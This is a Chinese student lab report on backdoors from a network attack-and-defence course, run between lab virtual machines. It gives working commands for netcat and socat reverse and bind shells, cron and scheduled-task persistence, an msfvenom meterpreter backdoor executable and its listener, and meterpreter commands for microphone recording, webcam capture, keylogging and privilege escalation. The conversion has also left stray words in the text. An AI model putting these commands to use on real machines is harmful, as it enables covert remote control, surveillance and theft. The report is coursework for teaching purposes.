2018-2019-2 网络对抗技术 20165230 Exp2 后门原理与实践

1.实验内容

  1. 使用netcat获取主机操做Shell,cron启动
  2. 使用socat获取主机操做Shell, 任务计划启动
  3. 使用MSF meterpreter(或其余软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
  4. 使用MSF meterpreter(或其余软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
  5. 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹链接Shell

2.基础问题回答

1.例举你能想到的一个后门进入到你系统中的可能方式?web

  • 捆绑在下载的软件中
  • 邮箱附件、网站连接
  • 注入在可执行文件里
  • 注入在office文件的宏里面

2.例举你知道的后门如何启动起来(win及linux)的方式?shell

  • 更更名字假装成其余程序,一点击即启动
  • Linux能够经过cron启动
  • Windows下经过任务计划、开机自启动、修改注册表项来启动后门程序

3.Meterpreter有哪些给你映像深入的功能?vim

  • 获取摄像头权限进行拍照、录像
  • 获取麦克风权限进行录音
  • 获取键盘输入
  • 提高用户权限

4.如何发现本身有系统有没有被安装后门?windows

  • 安装杀毒软件并进行扫描
  • 观察进程以及端口,看看有没有异常开放的端口
  • 查看开机自启动向、注册表项中有无异常

3.经常使用后门工具实践

3.1netcat

Windows得到Linux Shell

  • Windows:使用ipconfig指令查看本机IP:192.168.19.128
    网络

  • 使用ncat.exe程序监听本机的
    5230端口:ncat.exe -l -p 5230tcp

  • Kali:使用nc指令的-e选项反向链接Windows主机的5230端口:ncat 192.168.19.128 5230 -e /bin/sh编辑器

  • Windows下成功运行Kali的shell,运行ls指令以下:
    工具

Linux得到Windows Shell

  • Kali:ifconfig查看IP:
    192.168.19.129
    网站

  • Kali使用nc指令监听5230端口:nc -l -p 5230

  • Windows:使用ncat.exe程序的-e选项项反向链接Kali主机的5230端口:ncat.exe -e cmd.exe 192.168.19.128 5230

  • Kali:运行Windows的cmd shell 并输入命令执行:

使用nc传输数据

  • Windows下监听5230端口:ncat.exe -l 5230

  • Kali下链接到Windows的`5230端口:nc 192.168.19.128 5230

  • 创建以后进行文字传输,后面会说道用来传输后门:

使用nc传输文件

  • Windows下监听5230端口,把收到的数据保存到file1.out中:ncat.exe -l 5230 > file1.out

  • Kali下先建立file1.in文件,再反弹链接到Windows的`5230端口:nc 192.168.19.128 5230 < file1.in

  • 传输成功

3.2Meterpreter

  • 后门就是一个程序。
  • 传统的理解是:有人编写一个后门程序,你们拿来用。
  • 后来有一些牛人呢,就想编写一个平台能生成后门程序。这个平台呢,把后门的基本功能(基本的链接、执行指令),
  • 扩展功能(如搜集用户信息、安装服务等功能),
    • 编码模式,
    • 运行平台,
    • 以及运行参数
    • 全都作成零件或可调整的参数。用的时候按须要组合,就能够生成一个可执行文件。
  • 典型的平台就包括有:
    • intersect
    • Metaspolit的msfvenom指令
    • Veil-evasion
  • 参数说明
-p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
-x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
-e 使用的编码器,用于对shellcode变形,为了免杀。
-i 编码器的迭代次数。如上即便用该编码器编码5次。
-b badchar是payload中须要去除的字符。
LHOST 是反弹回连的IP
LPORT 是回连的端口
-f 生成文件的类型
> 输出到哪一个文件

3.3socat

  • socat是ncat的加强版,
  • 它使用的格式是socat [options] <address> <address>,其中两个address是必选项,而options 是可选项。
  • socat的基本功能就是创建两个双向的字节流,数据就在其间传输,参数address就是表明了其中的一个方向。所谓流,表明了数据的流向,而数据则能够有许多不一样的类型,命令中也就相应须要许多选项对各类不一样的类型数据流进行限定与说明。

4.实验过程

任务一:使用netcat获取主机操做Shell,cron启动

  • 先在Windows系统下,监听`5230端口:

  • 在Kali环境下,使用man cron指令查看crontab命令的帮助文档:

  • crontab指令能够用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于crontab文件中,以供以后读取和执行。

  • crontab -e指令编辑一条定时任务,选择编辑器时选择基本的vim编辑器就行:

  • 在最后一行添加37 * * * * /bin/netcat 192.168.19.129 5230 -e /bin/sh,意思是在每一个小时的第37分钟反向链接Windows主机的5230端口,设置成37的缘由是我当时的时间是17:36(这样过一会就能看到链接效果了)

  • 当时间到了17:37时,此时已经得到了Kali的shell,能够输入指令

任务二:使用socat获取主机操做Shell, 任务计划启动

  • 在Windows系统下,打开控制面板下搜索任务计划就能够开始建立任务

  • 点击触发器选项卡,选择新建,而后将开始任务设置为工做站锁定时

  • 点击常规选项卡,输入名称(学号):

  • 在操做->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5230 exec:cmd.exe,pty,stderr(两个参数之间用空格或者;),这个命令的做用是把cmd.exe绑定到端口5230,同时把cmd.exe的stderr重定向到stdout上:

  • 建立完成以后,能够windows+L锁定计算机让它执行。

  • 此时,在Kali环境下输入指令socat - tcp:192.168.19.129:5230,这里的第一个参数-表明标准的输入输出,第二个流链接到Windows主机的5230端口,此时能够发现已经成功得到了一个cmd shell

任务三: 使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • 在kali中输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.19.129 LPORT=5230 -f exe > 20155230_backdoor.exe注意这里的IP地址为控制端IP,即LinuxIP,生成后门程序:

  • 在Windows下执行ncat.exe -l 5230 > 20165230_backdoor.exe,这样被控主机就进入了接收文件模式

  • 在kali中经过nc 192.168.19.128 5230 < 20165230_backdoor.exe将生成的后门程序传送到Windows主机上.注意这里的IP为被控主机IP,即WindowsIP

  • 传送接收文件成功

  • 在Kali上使用msfconsole指令进入msf控制台,

  • 使用监听模块,设置payload,设置反弹回连的IP和端口:

use exploit/multi/handler  使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload
set LHOST 192.168.19.129,这里用的是LinuxIP,和生成后门程序时指定的IP相同
set LPORT 5230,一样要使用相同的端口
  • 设置完成后,执行监听exploit

  • 双击打开Windows上的后门程序

  • 此时Kali上已经得到了Windows主机的链接,而且获得了远程控制的shell:

任务四:使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 使用record_mic指令截获一段音频:

  • 使用webcam_snap指令可使用摄像头进行拍照:

  • 使用webcam stream指令可使用摄像头进行录像:

  • 使用screenshot指令能够进行截屏:

  • 在kali中使用keyscan_start指令开始,在windows中记录下击键的过程,使用keyscan_dump指令读取击键的记录:

  • 先使用getuid指令查看当前用户,使用getsystem指令进行提权,如图所示,提权成功:

5.实验遇到的问题

  • 作实验的两台虚拟机之间不能互相ping通,提示network is unreachable

  • 解决方法:将两台虚拟机都关机,而后将网络配置为NAT模式,注意!不能挂起进行配置!不然将不成功!!实验中kali虚拟机和windows虚拟机是在NAT网络下实现交互的,
    有点奇怪的是kali虚拟机在NAT网络模式下无法上网,只有把改成桥接模式才行,
    而windows虚拟机在桥接模式下又不能上网了,这就很气人了。
    virtualbox的网络地址转换NAT模式和NAT网络模式是两个不一样的模式,
    诡异的是在NAT模式下,kali虚拟机和windows虚拟机自动分配的地址都是同样的,手工配置IP地址仍是会有问题,ping确定是ping不通的。
    最后仍是用的NAT网络模式,两个虚拟机的IP地址会不同。
    kali虚拟机无法上网无所谓了,只要能跟windows虚拟机连上就好了,两个计算机的文件传输用netcat实现。

  • 在进行webcam_snap时提示错误

  • 解决方法:windows系统里没有摄像头设备,那咱们就把摄像头的USB链接切到win7上面来,由于摄像头这种USB设备不可能虚拟机和本机一块儿使用。在虚拟机->可移动设备->最后一个选项里选择链接主机便可解决

6.实验总结与体会

  • 此次实验研究的是后门的原理和应用,操做起来并非很复杂,主要是三个步骤:
    1. 生成后门程序2. 将后门植入到受害者的计算机中3. 运行后门程序
  • 作实验的过程当中小问题一直频发,并且最后摄像头仍是调用不了,不过好多问题都解决了,颇有成就感。有不少实验结果很是有意思,尤为是 meterpreter的应用。我真切的感觉到如今的互联网环境之恶劣,之后也应该更加注意保密意识。
相关文章
相关标签/搜索